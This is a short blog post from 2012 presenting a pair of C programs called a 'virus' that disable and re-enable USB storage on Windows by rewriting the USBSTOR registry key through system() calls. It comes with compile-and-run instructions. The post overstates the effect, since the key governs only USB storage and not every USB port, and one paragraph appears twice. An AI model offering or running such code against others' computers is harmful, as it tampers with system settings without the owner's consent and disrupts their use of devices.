A Virus Program to Disable USB Ports
Monday, March 19, 2012
Posted by Priya Yadav
In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC)Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer
You need to compile them before you can run it
BLOCK USB
-------------------------------------------------------------------------------------------
#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
}
-------------------------------------------------------------------------------------------
UNBLOCK USB
------------------------------------------------------------------------------------------------
#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}
-----------------------------------------------------------------------------------------------------------
Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).

Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).
To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.
